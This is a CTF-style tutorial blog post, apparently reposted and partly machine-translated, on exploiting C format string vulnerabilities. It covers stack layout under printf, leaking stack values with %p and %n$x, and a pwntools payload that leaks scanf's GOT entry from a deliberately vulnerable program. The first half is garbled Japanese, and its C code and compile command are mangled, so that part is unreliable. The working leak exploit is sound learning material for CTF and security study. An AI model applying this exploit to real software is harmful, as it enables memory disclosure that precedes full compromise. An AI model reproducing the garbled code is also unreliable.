フォーマット文字列の脆弱性のフォーマット文字列は、(A)を利用します

 

 

この記事では、オリジナルである、複製、ソースを明記してください

この記事は、CTF WIKIのPWN学習に基づいています

0x00のフォーマット文字列の原則

   図は、古典的な、以下に取り付け

 

  次のようにどのスタックレイアウトは次のとおりです。

いくつかの値 
3.14
123456
「赤」のADDR
フォーマット文字列のADDR: "カラー%sの、番号%d、フロート%の4.2f"

プログラムが書き込まれている場合:

 

printf(" カラー%の、番号%d、フロート%の4.2f ")。

 

スタック解決さにそれぞれ三つの変数を次のように

  1. そのアドレスに対応する文字列をパース
  2. 対応する整数値の内容を解析
  3. 対応する浮動小数点値の内容を解析

私たちは、プログラムは以下のことを確認し、書き込み:

する#include <stdio.hの>
 int型のmain(){
 
  のprintf(" カラー%S、番号%d、フロート%の4.2f " 、「赤」、123456、3.14)。
  printf(" カラー%の、番号%d、フロート%の4.2f " )。
  リターン 0 ;
}

コンパイルには、次のコマンドを入力します(libc6の-DEV-i386のライブラリをインストールすることを忘れないでください):

GCC -m32 -fno-スタックプロテクター-no-パイ-o leakmemory 1の.c

業績

 

 

 

 

 

でデバッグGDB:

操作入力のR bのprintf後

 

 

 

上述したようにフォーマット文字列は、最初のパラメータスタック、最初のprintf実行で見られ、次いで、123456(16進数)、及び最終的に3.14であることができます

第二のprintf(Nによってアップ)にデバッグを続行

 

 

 

 

 

 

 スタック、我々は最初のスタックはまだフォーマット文字列ではありませんが、上記の3つのパラメータは、もはや前にいくつかあることがわかりました。原理によれば、メモリの第2の出力は、2つの0xffffcfb4に対応するコンテンツの後でなければなりません。のは、詳細な議論を見てみましょう。

 

0x01の悪用

フォーマット文字列の脆弱性を使用して、我々は、出力が欲しいものを手に入れることができます。通常、いくつかの操作があります

  • スタックメモリリーク
    • 変数(%S)の値を取得し
    • アドレスメモリ(%のP)に対応する変数を取得します
  • 任意のアドレスのメモリリーク
    • 関数libcのGOTは、他のlibc関数のアドレス(ADDRの%N $ S)を得、次いで、libcのを取得、アドレステーブルを使用して得られ、そして
    • 快適に、有用な情報を得るために、プロセス全体をダンプします。

 まず、メモリリーク

(1)は、スタック変数の値を取得します。

本明細書の実施例は、上記のwikiをCTF:

する#include <stdio.hの>
 int型のmain(){
   チャー S [ 100 ]。
  INT A = 1、B = 0x22222222、C = - 1 
  scanf関数(" %S " 、S)。
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

编译运行调试

 

 调试:

 

 直接转载(copy)了:可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,按c

 

 将会把上图中0xffffcf44及其后面两个地址包含的内容输出输出:

 

 并不是每次得到的结果都一样 ,栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。这可以从我上面的几个截图结果看出来。

(2)获取栈指定变量值

可以使用%n$x获得栈上第n+1个参数,格式化字符串是第一个参数,那么如果想获得printf的第n个参数,就需要加1.

如,我想获得第三个参数值f7e946bb,那么我就输入%3$x

(3)获取对应字符串:%s

(4)获取数据:%p

 

二、获取任意地址内存

上面的泄露并不强力,比赛中经常需要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。

这里我们再看一遍源程序代码:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

scanf接收入s的值,然后两个printf。这里我们输入%s,如下调试,打印出0xff007325, 就是%s对应的字符串值,所以,输出函数的栈分布,栈上的第一个参数就是格式化字符串的地址。

这就意味着格式化字符串内容可控,同时,还需要注意的是,第一个参数虽然放置的是格式化字符串的地址,但是,输出函数并没有在这里开始调用,你也可以从上图中看到,在0xffffcf50处,又有一个%s,这里才是调用格式化字符串的时候,输出格式化字符串表达的内容时刻。这就意味着,因为格式化字符串我们可以自己控制,那么,如果我格式化字符串里面包含了%s,它会输出%s对应地址(0xff007325)所包含的内容,如果包含scanf@got, 它会输出scanf@got对应地址包含的内容,也就是scanf的真实地址。

总结:1、格式化字符串可以按照自己的意愿输入。2、格式化字符串的地址为栈上的第一个参数,顺序之后的某个位置会调用这个格式化字符串,以格式化字符串的内容输出内容。

所以,我们只要知道,调用这个格式化字符串的位置就可以了。

根据CTF WIKI上的说明方案,我们可以使用下面的字符来确定格式化字符串在哪调用:

[tag]%p%p%p%p%p%p...

如果输出栈的内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值(0x41414141)。如:

 

 AAAA  0XFFD2RC30  0XC2  0XF7E596BB  0X41414141   0X702570250

我们调试看一下:

我输入的是AAAA加上8个%p

 

 你会看到,AAAA后面依次输出8个内容,

第一个输出AAAA,这本来就是字符,作为一个标志显示出来罢了。然后往后,%p开始作用,依次是0xffffcfa0(可以看到格式化字符串为第一个参数,%p从格式字符串下一个开始),0xc2, 0xf7e946bb这些都是跟着格式化字符串后面的参数,之后,便打印出来0xffffcfa0地址对应的内容,即字符串。也就是说,其相对printf函数,为第5个参数(第五行),但是相对格式化字符串(第一行),是第四个参数。那么既然是第四个参数,我们使用%4$s看看测试一下。

然后你会发现core dump:

 

 为啥?调试。

 

 首先,%4$s对应的存放地址为0xffffcfa0, 我们查看内存发现存着的是0x73243425, 再看看0x73243425放着什么,啥都没有,那肯定崩溃。

我们输入%4$s是0x73243425, 我们输入%5$s是0x732434525,................

那就是说,我们确定了参数为第几个后,在tag处输入想要获得的内容的地址,那么,输出的将是输入的地址对应的内容。

然后使用CTF wiki上payload改改就可以实现获取scanf的地址:

from pwn import *
sh = process('./leakmemory')  
leakmemory = ELF('./leakmemory')  
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  #获取got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'  #想要输出的地址加上确定好的参数位置
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址
sh.interactive()

おすすめ

転載: www.cnblogs.com/pwn2web/p/12029581.html